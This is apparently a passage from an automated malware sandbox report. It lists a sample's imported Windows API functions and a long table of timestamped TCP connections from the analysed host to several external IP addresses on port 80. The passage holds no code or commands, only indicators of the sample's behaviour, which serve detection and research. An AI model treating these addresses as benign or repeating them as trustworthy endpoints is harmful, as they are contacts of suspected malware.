GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                          GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                          COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                          ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                          SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                          ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                          OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                          Possible Origin

                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                          EnglishGreat Britain
                                                                                          EnglishUnited States

                                                                                          Network Behavior

                                                                                          Network Port Distribution

                                                                                          TCP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Oct 25, 2024 16:53:23.357693911 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:23.363159895 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:23.363329887 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:23.371490955 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:23.377173901 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.220943928 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.220973969 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.220984936 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.221030951 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.221043110 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.221066952 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:24.221178055 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:24.351644993 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:24.351792097 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:24.353193998 CEST4924380192.168.2.562.149.128.45
                                                                                          Oct 25, 2024 16:53:24.358645916 CEST804924362.149.128.45192.168.2.5
                                                                                          Oct 25, 2024 16:53:40.154917002 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:40.160278082 CEST8049330180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:40.160346985 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:40.170718908 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:40.176110983 CEST8049330180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:41.114088058 CEST8049330180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:41.170985937 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:41.290003061 CEST8049330180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:41.290070057 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:41.686669111 CEST4933080192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:42.706332922 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:42.711718082 CEST8049342180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:42.711807966 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:42.722832918 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:42.730114937 CEST8049342180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:44.032262087 CEST8049342180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:44.077189922 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:44.209335089 CEST8049342180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:44.209419012 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:44.233510971 CEST4934280192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:45.252299070 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:45.404078007 CEST8049357180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:45.404213905 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:45.415168047 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:45.420506001 CEST8049357180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:45.420588017 CEST8049357180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:46.372549057 CEST8049357180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:46.420947075 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:46.549422026 CEST8049357180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:46.549472094 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:46.921062946 CEST4935780192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:47.945821047 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:47.951411009 CEST8049374180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:47.951489925 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:47.961618900 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:47.967178106 CEST8049374180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:48.898977995 CEST8049374180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:48.952485085 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:49.075577021 CEST8049374180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:49.075737000 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:49.076634884 CEST4937480192.168.2.5180.178.39.237
                                                                                          Oct 25, 2024 16:53:49.082042933 CEST8049374180.178.39.237192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.219175100 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:54.224559069 CEST8049401104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.224670887 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:54.238194942 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:54.243546963 CEST8049401104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.915963888 CEST8049401104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.915985107 CEST8049401104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.916060925 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:54.919003963 CEST8049401104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.919060946 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:55.749130964 CEST4940180192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:56.767748117 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:56.773226023 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:56.773308992 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:56.784055948 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:56.789604902 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:57.519618988 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:57.519645929 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:57.519666910 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:57.519680977 CEST8049415104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:57.519757986 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:57.519757986 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:58.296200037 CEST4941580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:59.316030979 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:59.321707964 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:59.321825027 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:59.339343071 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:53:59.344814062 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:53:59.344871044 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:00.166088104 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:00.166131020 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:00.166162014 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:00.166188955 CEST8049424104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:00.166197062 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:00.166260004 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:00.166260004 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:00.842935085 CEST4942480192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:01.861509085 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:01.867292881 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:01.870079041 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:01.877211094 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:01.882750988 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.568595886 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.568654060 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.568696022 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.568737984 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.568932056 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:02.570488930 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:02.570552111 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:02.572659969 CEST4942580192.168.2.5104.21.68.22
                                                                                          Oct 25, 2024 16:54:02.578175068 CEST8049425104.21.68.22192.168.2.5
                                                                                          Oct 25, 2024 16:54:07.691119909 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:07.696640015 CEST8049426159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:07.696765900 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:07.711875916 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:07.717461109 CEST8049426159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:08.540190935 CEST8049426159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:08.592825890 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:08.665422916 CEST8049426159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:08.665555000 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:09.217900991 CEST4942680192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:10.236526966 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:10.242249966 CEST8049428159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:10.242476940 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:10.253334999 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:10.258773088 CEST8049428159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:11.104368925 CEST8049428159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:11.155347109 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:11.215742111 CEST8049428159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:11.215881109 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:11.764933109 CEST4942880192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:12.783504963 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:12.788974047 CEST8049429159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:12.789072990 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:12.804826021 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:12.810271025 CEST8049429159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:12.810302973 CEST8049429159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:13.664684057 CEST8049429159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:13.717856884 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:13.789468050 CEST8049429159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:13.789612055 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:14.312108040 CEST4942980192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:15.331491947 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:15.337299109 CEST8049430159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:15.337539911 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:15.346290112 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:15.351772070 CEST8049430159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:16.187412977 CEST8049430159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:16.233460903 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:16.316921949 CEST8049430159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:16.317059994 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:16.318211079 CEST4943080192.168.2.5159.25.16.28
                                                                                          Oct 25, 2024 16:54:16.323587894 CEST8049430159.25.16.28192.168.2.5
                                                                                          Oct 25, 2024 16:54:21.645670891 CEST4943180192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:21.651187897 CEST804943113.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:21.651268005 CEST4943180192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:21.667540073 CEST4943180192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:21.673029900 CEST804943113.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:22.336858034 CEST804943113.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:22.336941004 CEST4943180192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:23.171744108 CEST4943180192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:23.177356005 CEST804943113.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:24.191817045 CEST4943280192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:24.197556019 CEST804943213.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:24.197652102 CEST4943280192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:24.211556911 CEST4943280192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:24.217071056 CEST804943213.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:25.087094069 CEST804943213.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:25.087383032 CEST4943280192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:25.717864990 CEST4943280192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:25.723385096 CEST804943213.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:26.736306906 CEST4943380192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:26.742078066 CEST804943313.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:26.743593931 CEST4943380192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:26.755789995 CEST4943380192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:26.761271954 CEST804943313.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:26.761456966 CEST804943313.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:27.405433893 CEST804943313.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:27.406238079 CEST4943380192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:28.264744997 CEST4943380192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:28.270281076 CEST804943313.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:29.283727884 CEST4943480192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:29.289201975 CEST804943413.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:29.289292097 CEST4943480192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:29.296750069 CEST4943480192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:29.302136898 CEST804943413.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:29.949511051 CEST804943413.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:29.981651068 CEST804943413.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:29.981806993 CEST4943480192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:29.983326912 CEST4943480192.168.2.513.248.169.48
                                                                                          Oct 25, 2024 16:54:29.988804102 CEST804943413.248.169.48192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.023766041 CEST4943580192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:35.029254913 CEST804943569.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.029577017 CEST4943580192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:35.043895006 CEST4943580192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:35.049612045 CEST804943569.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.754893064 CEST804943569.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.793001890 CEST804943569.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.793051004 CEST4943580192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:36.547933102 CEST4943580192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:37.565408945 CEST4943680192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:37.571111917 CEST804943669.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:37.571188927 CEST4943680192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:37.584450006 CEST4943680192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:37.589876890 CEST804943669.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:38.279113054 CEST804943669.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:38.318356991 CEST804943669.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:38.318418980 CEST4943680192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:39.093822956 CEST4943680192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:40.112181902 CEST4943780192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:40.117773056 CEST804943769.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:40.117854118 CEST4943780192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:40.130033016 CEST4943780192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:40.135468960 CEST804943769.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:40.135570049 CEST804943769.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:40.834464073 CEST804943769.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:40.872251987 CEST804943769.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:40.874103069 CEST4943780192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:41.640063047 CEST4943780192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:42.658176899 CEST4943880192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:42.663786888 CEST804943869.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:42.669971943 CEST4943880192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:42.674261093 CEST4943880192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:42.679687023 CEST804943869.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:43.344784975 CEST804943869.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:43.382637024 CEST804943869.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:43.384641886 CEST4943880192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:43.384641886 CEST4943880192.168.2.569.57.163.227
                                                                                          Oct 25, 2024 16:54:43.390165091 CEST804943869.57.163.227192.168.2.5
                                                                                          Oct 25, 2024 16:54:48.413810015 CEST4943980192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:48.419353962 CEST8049439188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:48.419440985 CEST4943980192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:48.432939053 CEST4943980192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:48.438446045 CEST8049439188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:49.300461054 CEST8049439188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:49.302047968 CEST8049439188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:49.303869009 CEST4943980192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:49.936604023 CEST4943980192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:50.957065105 CEST4944080192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:50.962585926 CEST8049440188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:50.963484049 CEST4944080192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:50.978629112 CEST4944080192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:50.984505892 CEST8049440188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:51.887830973 CEST8049440188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:51.890171051 CEST8049440188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:51.890228987 CEST4944080192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:52.483493090 CEST4944080192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:53.502942085 CEST4944180192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:53.508557081 CEST8049441188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:53.511833906 CEST4944180192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:53.524684906 CEST4944180192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:53.530169010 CEST8049441188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:53.530312061 CEST8049441188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:54.407021999 CEST8049441188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:54.410134077 CEST8049441188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:54.410216093 CEST4944180192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:55.032785892 CEST4944180192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.049505949 CEST4944280192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.055140018 CEST8049442188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:56.055219889 CEST4944280192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.063498974 CEST4944280192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.069027901 CEST8049442188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:56.941690922 CEST8049442188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:56.943473101 CEST8049442188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:54:56.943696976 CEST4944280192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.945811987 CEST4944280192.168.2.5188.114.96.3
                                                                                          Oct 25, 2024 16:54:56.951201916 CEST8049442188.114.96.3192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.255836010 CEST4944380192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:02.261342049 CEST8049443199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.261403084 CEST4944380192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:02.274287939 CEST4944380192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:02.279757023 CEST8049443199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.887056112 CEST8049443199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.887085915 CEST8049443199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.887618065 CEST8049443199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:02.887983084 CEST4944380192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:03.780436039 CEST4944380192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:04.802095890 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:04.807843924 CEST8049444199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:04.810750008 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:04.822477102 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:04.827963114 CEST8049444199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:05.475133896 CEST8049444199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:05.475184917 CEST8049444199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:05.475472927 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:05.507356882 CEST8049444199.59.243.227192.168.2.5
